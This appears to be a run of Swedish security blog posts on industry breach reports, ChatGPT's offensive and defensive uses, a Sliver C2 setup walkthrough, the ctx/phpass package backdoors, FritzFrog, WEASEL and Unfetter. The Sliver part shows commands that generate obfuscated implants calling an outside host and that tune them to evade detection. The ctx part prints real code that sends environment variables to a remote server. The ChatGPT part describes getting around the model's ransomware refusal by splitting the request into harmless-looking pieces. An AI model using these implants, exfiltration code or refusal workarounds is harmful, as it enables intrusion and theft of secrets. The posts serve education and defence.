Företaget Wiz senaste rapport State of Code Security 2025 ger oss en ny djupgående inblick i hur dagens utveckling hänger ihop med molnsäkerhet, men även vilka brister som är de mest kritiskajust nu.
Genom att analysera hundratusentals repon och CI/CD-pipelines under 2024 visar rapporten hur vanligt det är med exponerade hemligheter, osäkra konfigurationer och svaga skydd i moderna utvecklingsflöden. Värt att notera också är att Wiz köptes upp av Google för ca två månader sedan.
En av de mest oroande insikterna i rapporten som jag läser är att 61 % av organisationerna har minst ett repository med känsliga nycklar och då ofta i form av API-token till molntjänster såsom AWS eller Databricks. Det gäller inte bara publika repon utan också privata. Det skapar en farlig illusion av säkerhet: bara för att ett repo är privat betyder det inte att det är säkert.
GitHub Actions är också ett annat område som är relativt nytt, och där säkerheten också ofta brister. De flesta organisationer som aktiverat Actions låter alla repositories köra alla typer av workflows, inklusive externa och potentiellt illvilliga. Det här ökar risken för supply chain-attacker dramatiskt. Lägg därtill att nästan 80 % av dessa workflows har både WRITE-access och möjlighet att godkänna pull requests, och du får ett scenario där ett komprometterat workflow kan skriva kod direkt till huvudgrenen utan någon mänsklig inblandning.
Self-hosted GitHub runners är ett område där säkerhetsläget är sämre än många tror. Rapporten visar att 35 % av företagen använder sådana runners, som ofta är persistenta och delas mellan olika repos. Dessa maskiner har i snitt tre gånger fler installerade teknologier än vanliga servrar och dessutom fler sårbarheter, vilket gör dem till en attraktiv ingångspunkt för attacker.
När man tittar på språkanvändning i repos är det tydligt att script- och tolkspråk dominerar. Shellscript, JavaScript och Python toppar listan, medan kompilerade språk som C och C++ knappt förekommer alls. Det här påverkar vilka säkerhetsverktyg som är mest relevanta, och pekar på behovet av att anpassa regeluppsättningar och scanningsverktyg utifrån verklig språkanvändning.
En annan intressant observation gäller GitHub Apps. Många appar har rättigheter att både läsa och skriva till repos via scopes som contents och pull_requests. Det betyder att en komprometterad app kan få omfattande kontroll över koden. Kombinationen av brett åtkomstområde och låg kontrollnivå gör dessa appar till en potentiellt farlig attackvektor.
Rapporten från Wiz bekräftar också att GitHub är både den mest använda och mest öppna plattformen för att hantera källkod. Hela 35 % av GitHub-repos är publika, vilket är tre gånger mer än hos andra version control system (VCS) plattformar. Detta gör GitHub till ett självklart mål för angripare som systematiskt letar efter exponerad kod, credentials eller svaga konfigurationer.
Sammantaget visar rapporten att sårbarheter i kod, pipelines och moln inte längre kan hanteras i separata fack. Angripare rör sig sömlöst mellan dessa domäner allt från en läckt token i ett GitHub-repo till en container i produktion.
För att möta en ny och förändrad hotbild måste vi tänka på säkerhet som en helhet, från commit till cloud. Jag gillar också begreppet ”shift left” (vänsterförflyttning) vilket betyder att vi måste tänka på säkerhet tidigare och tidigare i utvecklingsprocessen.
Varje år sedan 2008 släpper den amerikanska telekomjätten Verizon sin Data Breach Investigations Report (DBIR). Rapporten kommer ut en gång om året och analyserar tiotusentals attacker från hela världen för att ge organisationer en bättre insikt av aktuella cyberhot.
Årets rapport analyserat ca 22 000 incidenter och 12 195 bekräftade dataintrång från 139 länder. Trenden för denna rapport och år är tydlig: ökat beroende av tredjepartsleverantörer, fortsatt fokus på utnyttjande av sårbarheter samt mänskliga misstag.
Statistiken pekar på hur utnyttjande av sårbarheter håller på att gå ikapp användning av stulna inloggningar som den vanligaste vägen in för angripare i IT-system.
20% av alla intrång började med att angripare utnyttjade sårbarheter: en ökning på 34% jämfört med förra året
Framför allt attackerades edge-enheter och VPN:er, vilket ökade nästan åttafaldigt
Vi kan även se att ransomware fortsätter att dominera:
44 % av alla dataintrång involverade ransomware, upp från 32 % året innan
Medianbeloppet som betalades i lösensummor minskade till cirka 1,1 miljon SEK
Dessutom vägrade 64 % av offren att betala överhuvudtaget vilket är positivt
Små och medelstora företag är särskilt utsatta för ransomware hela då 88% av rapporterade intrång involverade ransomware.
En dramatisk ökning gällande cybersäkerhet som relaterar tredjepartsleverantörer:
30 % av alla intrång involverade tredjepartsleverantörer (jämfört med 15 % året innan).
Incidenter som utnyttjade data som kom via Snowflake och sårbarheter i MOVEit visar att tredjepartsrelationer måste granskas hårdare ur ett säkerhetsperspektiv.
Trots all teknik så förblir vi människor tyvärr en stor svaghet:
Cirka 60 % av intrången involverade mänskligt beteende, som klick på phishinglänkar eller felaktig hantering av känslig data.
Credential reuse och informationsläckor via publika kodrepon, särskilt GitHub, bidrar till fortsatt höga siffror.
Att använda privata enheter (BYOD) i jobbet har en mörk baksida visar också rapporten:
46 % av systemen som läckte företagsinloggningar var icke-hanterade enheter (dvs använder ej MDM, mobile device management)
54 % av ransomware-offren hade sina företagsdomäner exponerade i credential dumps
En tydlig signal för organisationer förbättra styrningen av BYOD och hantering av behörigheter/hemligheter.
En annan sak vi kan se i rapporten är att intrång motiverade av spionage växer kraftigt:
17 % av intrången hade spionagemotiv, nästan en fördubbling jämfört med tidigare år
70 % av dessa spionageangrepp började med utnyttjande av sårbarhet
Och ovan tycker jag visar på att det inte bara är pengar som driver hotaktörer, är viktigt att poängtera.
Generativ AI (GenAI) har inte revolutionerat cyberhotlandskapet ännu, men vi kan se en liten påverkan:
Antalet skadliga e-postmeddelanden som skrivits med hjälp av AI har fördubblats på två år
15% av anställda använder GenAI på sina företagsenheter, ofta utan tillräcklig säkerhetskontroll. Kanske även så saknas det en policy för hur AI får användas?
Det tyder således på en stor risk för dataläckage via GenAI-tjänster såsom ChatGPT.
Rapporten i sin helhet på 117 sidor går att ladda hem som PDF via Verizons hemsida här:
Att verktyget ChatGPT som verkar inom området artificiell intelligens (AI) blivit poppis råder ingen tvekan om. Men precis som många andra intressanta och nya innovationer så finns det som oftast ett ”dual use”, dvs där innovationen eller verktyget kan användas av såväl sådana som vill gott och sådana som har onda avsikter.
Just inom området cybersäkerhet och ChatGPT så har jag testat några olika områden där ChatGPT kan användas för offensiva och defensiva syften.
ChatGPT för offensiv cybersäkerhet
Precis som Github CoPilot som jag själv använder så kan du säga till ChatGPT att utveckla skadlig kod såsom kod som utför ransomware och krypterar filer.
Om jag berättar för ChatGPT att den ska skriva några olika programstycken som var för sig inte gör illasinnade sakar och sedan berättar att den ska utveckla koden vidare så klagar den inte:
Men om vi rakt ut skriver att ChatGPT ska skapa ransomware i python så vägrar den:
Det är även möjligt att ställa frågor om vilka verktyg som är bra att använda för olika offensiva syften såsom portscanning av internet så får jag förslag på fyra verktyg: nmap, masscan, zmap och fscan. Så den har någorlunda rätt.
Antagonister kan även använda ChatGPT för att skriva phishing-meddelanden i olika språk och föda in information om målet till ChatGPT för att göra phishingen ännu mer effektiv. Det är även möjligt att till viss del skala upp nyttjandet av ChatGPT, eller använda OpenAI:s API som tillhandahåller GPT3.
Ett annat område är att AI:t utger sig för att vara någon annan och således försöka fiska till sig information genom exempelvis chattar. En vidareutveckling på sådant som vi har sett tidigare där kapade Facebook-konton nyttjas till att ”be en vän om hjälp med BankID” eller berätta om en knipa där pengar behövs.
Dock är AI:t inte felfritt, men min upplevelse är att ungefär i hälften av fallen så blir det korrekt eller att du måste korrigera och fixa koden.
Bild från ett chattforum för kriminella där någon lyckats att skapa en mjukvara för att exfiltrera (sno) filer med en viss filändelse:
ChatGPT kan analysera loggfiler och se mönster i text eller andra former av kod såsom assembler och således hjälpa till att förstå analyser av skadlig kod. Det finns redan nu flertalet plugins till reverse-engineering verktygen IDA Pro och Ghidra för att göra just detta.
ChatGPT har även förmågan att skapa YARA-regler på sådant som man kan uppge, ett exempel:
Det finns även möjlighet att fråga saker om olika grupperingar, men dock finns det begränsningar eftersom informationen som ChatGPT är tränad på är från år 2021 och tidigare:
Och precis som botten skriver ovan så är listan inte komplett. Men ger en bra fingervisning iallafall och jag tycker att vi är på god väg när det gäller utvecklingen inom AI och dess möjligheter inom cybersäkerhet.
Uppdatering: Ett annat område jag glömde att skriva om är att ChatGPT kan göra enklare kodgranskningar och identifiera sårbarheter:
Sliver är ett bakdörrs/attack-ramverk eller mer specifikt ett command and Control-ramverk (C&C) som är riktat mot red-teaming och penetrationstester. Liknande funktioner återfinnes i bl.a. Metasploit och kommersiella Cobalt Strike. Microsoft har nyligen identifierat en ökad användning av Sliver hos statliga aktörer och även ransomware-grupperingar.
Sliver kan förutom vid red-teaming användas för att simulera avancerade cyberattacker och kontrollera huruvida EDR (Endpoint Detection & Response) och IT-forensiska förmågor fungerar. Sliver har även stöd för att fungera tillsammans med Prelude Operator och då kan man simulera över 150 st open-source tactics, techniques, and procedures (TTP).
Namnet Sliver kommer från kortspelet Magic: The Gathering som var populärt på 90-talet. Några funktioner som är värda att nämna är också de protokoll som kan användas för nätverkskommunikation/callback:
Mutual TLS (mtls)
HTTP/s
DNS
Wireguard
Sliver är ett aktivt projekt som underhålls av företaget Bishop Fox. Det uppdateras löpande via Github och är utvecklat i programspråket Go.
Installation av Sliver
Att installera är enkelt med följande one-liner, men du kontrollerar även givetvis koden innan du kör den?
curl https://sliver.sh/install|sudo bash
Du kan även bygga en egen Docker-container då det följer med en Dockerfile. För att testa så att sliver fungerar efter installationen så behöver du bara skriva sliver så hamnar du rätt in i CLI:t.
Installationsvideo:
Och skärmdump för att hamna i kommandoskalet:
Kör vi lsof och tittar på öppna portar så ser det ut enligt följande:
Så bra opsec kan då var att byta ut denna 31337-port mot något annat. Detta genomförs genom att redigera följande två filer:
/root/.sliver/configs/server.json
~/.sliver-client/configs/vagrant_localhost.cfg
Den nedre av ovan två filer kan dock heta något annat på just din installation. Oklart hur svårt det är att fingerprinta sliver på port 31337. Eller ännu bättre: Undvik helt att exponera denna port mot internet.
I en annan guide kommer jag att titta på hur kontrollkanaler såsom denna kan detekteras.
Skapa ett implantat
Nu när vi har slivers serverdel uppe och kör så är det dags att skapa ett implantat (klient) som kan köras på Windows, Linux eller macOS. Rekommenderar att läsa följande guide för korskompilering mellan olika OS.
Enligt den design som ligger bakom sliver så är det tänkt att sliver ska fungera som en stage 2 payload/implantat. Därav har storleken inte optimerats och implantaten kan bli över 10 mb i storlek. Men det finns också möjlighet att generera mindre stagers via kommandot generate stager, men detta kräver metasploit.
Det finns två olika lägen: beacons och sessioner. Beacons kontaktar servern med ett visst intervall + jitter och kontrollerar om det finns nya uppgifter att utföra. Medans sessioner är interaktiva mot klienten, och vissa kommandon såsom portfwd och shell kräver interaktiva sessioner.
För att skapa upp ett nytt implantat, hoppa in i slivers kommandoskal och skriv sedan exempelvis:
Så skapas ett nytt implantat med mtls-lyssnare som ansluter mot example.com och filen sparas ner i mappen /home/vagrant/implants/. Detta kan ta lite tid då obfuskering och kompilering genomförs:
sliver > generate --mtls backdoor.kryptera.se --save /home/vagrant/implants
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:03:00
[*] Implant saved to /home/vagrant/implants/SHY_AIRSHIP.exe
sliver >
Tittar vi lite närmare på filen ser den ut enligt följande:
┌──(vagrant㉿kali)-[~]
└─$ file implants/SHY_AIRSHIP.exe
implants/SHY_AIRSHIP.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
┌──(vagrant㉿kali)-[~]
└─$ ls -lah implants/SHY_AIRSHIP.exe
-rwx------ 1 vagrant vagrant 13M Sep 2 09:04 implants/SHY_AIRSHIP.exe
Standard så genereras sessions-implantat. Och vill man istället ha beacons så måste man skriva generate beacon enligt följande:
sliver > generate beacon --mtls backdoor.kryptera.se --save /home/vagrant/implants
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:02:33
[*] Implant saved to /home/vagrant/implants/MODEST_FLOOD.exe
sliver >
Vi kan även nu skriva kommandot implants för att få upp en lista över genererade implants:
Den som är observant kan även se att port 8888 används för mtls. Denna kan också ändras för att göra det svårare att fingerprinta/upptäcka implantatet och servern.
För att starta upp lyssnaren för mtls måste vi även skriva kommandot mtls:
Exekvering av implantatet
Nu när vi genererat två olika implantat för Windows/amd64 så är det dags att testa dem i en virtuell-testmiljö med Windows. Jag kommer inte gå igenom stage 1 dvs hur du erhåller kodexekvering utan fokusera på stage 2 när väl kod kan köras.
Efter vi att exekverat implantatet på en Windows-klient så får vi en callback enligt följande som dyker upp:
Och sedan kan vi skriva beacons för att få upp en lista med aktiva implantat med beacons:
Och som standard så är beacon-intervallet 60 sekunder. Detta går att konfigurera för att försvåra detektion via NIDS (Network-based Intrusion Detection System). Tips är även att skriva beacons watch för att realtid se mer information när beacons ringer hem.
Demo:
Nästa steg blir att skicka tasks eller kommandon som ska utföras av vårt installerade implantat. Och det första steget är att skriva use och sedan välja beacon. Eller skriva use och sedan trycka tabb-tangenten för autocomplete.
Sen rekommenderar jag att skriva help och då får vi upp en mängd olika kommandon vi kan köra såsom screenshot, getuid, ping, netstat, ifconfig, info osv.
Vill vi göra en screenshot så skriver vi bara screenshot och väntar tills det att beaconen ringer hem igen, vilket i vårat fall är max 60 sekunder. Och sedan dyker följande meddelande upp:
[*] Screenshot written to /tmp/screenshot_DESKTOP-SZ1UO3J_20220903130947_272482597.png (77.0 KiB)
Smidigt va? Och vill vi ändra jitter och callback-tiden för att försvåra upptäckt kan man göra en omkonfigurering av implantatet på följande sätt:
Nu börjar vi närma oss slutet av detta test. Några saker kvar att nämna är följande:
Skriv background för att lägga beaconen i bakgrunden och återvända till ”rooten” i sliver
Ingen omfattande obfuskering eller kryptering är i dagsläget aktiv (enbart gobfuscate). När jag testar mot VirusTotal så upptäcker 25 av 70 antivirus-leverantörer EXE-implantatet som genereras av sliver
Det finns ingen inbyggt persistens för implantatet, se följande issue.
Nästa guide så tänkte jag skriva mer om detektion av implantat/CnC-ramverk och bakdörrar såsom sliver.
Uppdatering:Här kan du läsa om hur sockpuppets genomförde attackerna i ”gott syfte”.
Två populära tredjepartsbibliotek har blivit hackade och en bakdörr har placerats i dessa paket. Det rör sig om python (pypi) paketet ctx samt php-biblioteket phpass. Totalt rör det sig om cirka tre miljoner användare av dessa två bibliotek.
För php-bakdörren kan man titta på följande kodsnutt. Och anledningen till att bakdörren kommer in i system är för att github-kontot hautelook raderades och någon annan skapade ett nytt konto.
Nedan följer ctx python-koden som exfiltrerar miljövariablarna där koden exekveras:
def __init__(self):
self.sendRequest()
.
. # code that performs dict access
. # please DO NOT RUN THIS CODE !
def sendRequest(self):
string = ""
for _, value in environ.items():
string += value+" "
message_bytes = string.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)
För pypi-biblioteket är det troligtvis en password-spraying attack som lyckats mot det konto som har hand om ctx.
Att förhindra och försvåra attacker som använder sig av tredjepartsbibliotek är inte helt trivialt. Främst gäller det att isolera dessa paket, system och mjukvara så den inte kan ringa hem eller exfiltrera information. Dvs se till att ha en branväggspolicy som ej medger utgående trafik enkelt. Detta gäller även DNS som kan användas som kanal för att skicka ut information. Och glöm inte heller utvecklar-datorer, det gäller inte enbart servrar.
Github bör införa en längre grace-period på konton om det inte redan finns och pypi bör forcera multi-faktorsautentisering.
FritzFrog är en ny typ av malware som är skrivet i programspråket Go och riktar sig mot servrar som exponerar SSH.
Den skadliga koden är modulärt uppbyggd och skriver inga filer till disk efter infektion. Det som kanske är mest intressant är att kommunikationen använder sig av ett helt egenutvecklat peer-to-peer protokoll.
Karta över infektioner från företaget Guardicore:
Vid infektion så startas en process vid namn ifconfig och nginx upp. Som lyssnar på TCP port 1234. Den skadliga koden är packad med UPX och efter att processerna startats upp så raderas filer på disk. För att undvika detektion på nätverket så tunnlas kommunikation över port 1234 via SSH. Denna kanal används även för P2P-protokollet som gör nyckelutbyte med hjälp av Diffie Hellman samt kryptering med AES.
Kommandon som kickas via P2P-protokollet:
Även så lägger den skadliga koden en publik nyckel till .ssh/authorized_keys för att ge möjlighet att ta sig in i systemet vid senare tillfälle.
På Github så finns det IOC:er samt kod för att detektera FritzFrog. En av syftet med den skadliga koden är att utvinna kryptovalutan Monero med hjälp av mjukvaran XMRig miner som ansluter mot web.xmrpool.eu över port 5555.
Antalet attacker från nätverket har ökat stadigt sedan början på året:
Facebook har släppt ett intressant nytt implantat (bakdörr) vid namn WEASEL. Mjukvaran är skriven i Python3 och utnyttjar DNS samt AAAA-records för att skicka och ta emot beacons. Den behöver inte heller några externa beroenden och kan således köras under de flesta operativsystem.
Ett implantat är en typ av mjukvara som används av angripare för att utföra olika uppgifter och kommunicera in och ut ur nätverk. WEASELs klientdel har inga direkta inbyggda funktioner förutom att sköta kommunikationskanalen, självradering och intervall för kommunikation. Vill du ha mer funktioner så får du själv bygga till det eftersom WEASEL stödjer exekvering (eval) av Python3-kod.
Fokus vid utvecklingen av WEASEL har varit på att försöka försvåra IT-forensiska undersökningar och därför finns ej stöd för persistens. Mjukvaran stödjer inte heller att flertalet operatörer jobbar mot samma instans.
För kryptering av data över DNS så används AES-128 i CTR mode samt Diffie-Hellman för nycklar. Oklart hur stödet för Windows ser ut men går säkert att åstadkomma med Pyinstaller.
HD Moore twittrade nyligen om ett intressant projekt på Github vid namn mac-ages. Projektet mac-ages utnyttjar information om, när spann av MAC-adresser blivit registrerade. Detta går sedan att utnyttja för att relativt trubbigt lista ut hur gammal en enhet är.
mac-ages är en blandning av DeepMac samt WireSharks MAC-adresslistor uppger HD Moore.
Jag skrev ihop en snabb one-liner som tittar i min lokala dators arp-tabell och slår sedan upp den mot mac-ages:
$ git clone https://github.com/hdm/mac-ages
$ cd mac-ages
$ for a in `arp -na|awk '{print $4}'|grep -v ^1: |awk -F':' '{print $1 $2 $3}'`; do fgrep $a mac-ages.csv; done|sort -n -t, -k2
Resultatet från ovan blir då (maskat):
Tittar vi i ovan tabell så ser vi att enheten med MAC-adress som börjar på b8:27:eb är en BCM43438 (numera Cypress). Sitter faktiskt i en Raspberry Pi 3 och ser ut så här:
Oklart när den kom ut men 2012 låter inte helt orimlig, även de andra på listan tror jag stämmer någorlunda med avvikelser på ett eller två år.
Ett antal avbilder som återfinnes på populära Docker Hub innehåller bakdörrar. Dessa avbilder med bakdörrar har laddats hem mer än 90000 gånger. Kontot som laddat upp dessa bakdörrar har namnet docker123321 och bakdörren utnyttjar användarens kapacitet för kryptovaluta-mining.
Det är totalt 14 stycken olika avbilder (images) som innehåller den skadliga koden rapporterar Kromtech Security Center. Totalt har 544.74 Moneros beräknats vilket motsvarar en vinst på ca 791 000 SEK.
Jag tror tyvärr att detta är en trend som kommer att öka. I takt med allt fler marknadsplatser såsom Docker Hub och Google Web Store så kommer även antagonisterna att utnyttja detta faktum. För tyvärr är det inte lätt att rapportera skadlig kod och de automatiska testerna som genomförs på sådant som laddas upp är bristfälliga.
Intressant att notera är även att Kromtech står bakom den kontroversiella mjukvaran MacKeeper.
Den amerikanska myndigheten NSA har tillsammans med det icke vinstdrivande företaget Mitre utvecklat ett nytt verktyg vid namn Unfetter. Med hjälp av detta verktyg så kan en organisation effektivare identifiera cyberattacker genom att fokusera på att upptäcka beteendebaserad metodik istället för indikatorer samt inspireras av Mitres tidigare projekt vid namn CAR och ATT&CK.
Verktyget finns tillgängligt som open-source via Github och jag har givetvis testat verktyget.
Först och främst så klonade jag hem repot som innehåller docker-compose.yml vilket används av Docker. Sedan skrev jag docker-compose up i katalogen för att ladda hem och starta upp sex stycken containers:
Den container som heter unfetter-discover-gateway ser till att exponera tcp port 80 samt 443 och surfar vi sedan in på https://localhost så möts vi (förutom ett certifikatfel) följande bild:
Där jag sedan har möjlighet att navigera vidare till någon av de vyer som finns förinstallerade via Kibana:
Threat Dashboard
Analytic Exchange
Assessments
Assessments 3.0
Intrusion Set Dashboard
Events Dashboard
API Explorer
STIX
Tanken är alltså att du ska skicka in data från olika klienter och servrar med hjälp av NXlog och sysmon exempelvis.
Följande övergripande arkitekturbild visar hur det hänger ihop:
Givetvis så följer det även med exempelkonfigurationer till både nxlog och sysmon.
Men den kanske mest intressanta frågan är: Hur upptäcks avancerade cyberattacker? Det är genom att koppla ihop olika indikatorer, exempelvis denna:
CAR-2016-04-005: Remote Desktop Logon
Vilket implementerar ungefär (pseudokod) följande regler på inkommande analyserade loggar:
[EventCode] == 4624 and
[AuthenticationPackageName] == 'Negotiate' and
[Severity] == "Information" and
[LogonType] == 10
A remote desktop logon, through RDP, may be typical of a system administrator or IT support, but only from select workstations. Monitoring remote desktop logons and comparing to known/approved originating systems can detect lateral movement of an adversary.
Dessa indikatorer kan sedan kopplas mot Mitres ATT&CK och olika grupperingar såsom Equation Group (EQGRP) och deras modus operandi. Dock verkar det inte gå automatiskt i dagsläget och så här ser Intrusion Set Dashboard ut för Equation:
Vi kan även se att Equation har 2 av 219 attack patterns i det intrusion set som följer med Unfetter. För den som vill se hur logstash är konfigurerad mot sysmon kan kolla in följande konfigg-fil på Github.
NSA framhäver även att Unfetter inte är färdigt för att användas i produktion ännu:
